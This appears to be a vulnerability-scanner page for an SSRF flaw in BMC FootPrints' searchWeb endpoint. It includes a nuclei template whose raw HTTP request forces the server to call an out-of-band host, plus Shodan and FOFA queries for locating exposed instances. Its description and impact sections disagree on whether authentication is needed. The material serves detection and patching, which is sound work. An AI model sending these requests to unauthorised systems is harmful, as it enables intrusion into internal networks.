BMC FootPrints 'searchWeb' - Server-Side Request Forgery

highseverity

8.6CVSS score

17.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/import/searchWeb endpoint. The 'url' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).

Impact

Authenticated attackers can cause the server to make arbitrary outbound requests, potentially impacting system availability and internal network security.

Fix

Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.

How to confirm it

Send: GET /footprints/servicedesk/passwordreset/request/
Positive when: contains(set_cookie, "SEC_TOKEN=")
Send: GET /footprints/servicedesk/import/searchWeb?url=http://{{interactsh-url}}&dataEncoding=x
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-71258 -u <target>

The full check

id: CVE-2025-71258

info:
  name: BMC FootPrints 'searchWeb' - Server-Side Request Forgery
  author: watchTowr,DhiyaneshDk
  severity: high
  description: |
    BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/import/searchWeb endpoint. The 'url' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
  impact: |
    Authenticated attackers can cause the server to make arbitrary outbound requests, potentially impacting system availability and internal network security.
  remediation: |
    Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-71258
    epss-score: 0.1743
    epss-percentile: 0.97149
    cwe-id: CWE-918
  reference:
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
    - https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"BMC Software"
    product: footprints
    vendor: bmc
    fofa-query: body="/footprints/servicedesk/"
  tags: cve,cve2025,servicedesk,bmc-software,ssrf,oast,oob,footprints,bmc

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(set_cookie, "SEC_TOKEN=")
        internal: true

  - raw:
      - |
        GET /footprints/servicedesk/import/searchWeb?url=http://{{interactsh-url}}&dataEncoding=x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

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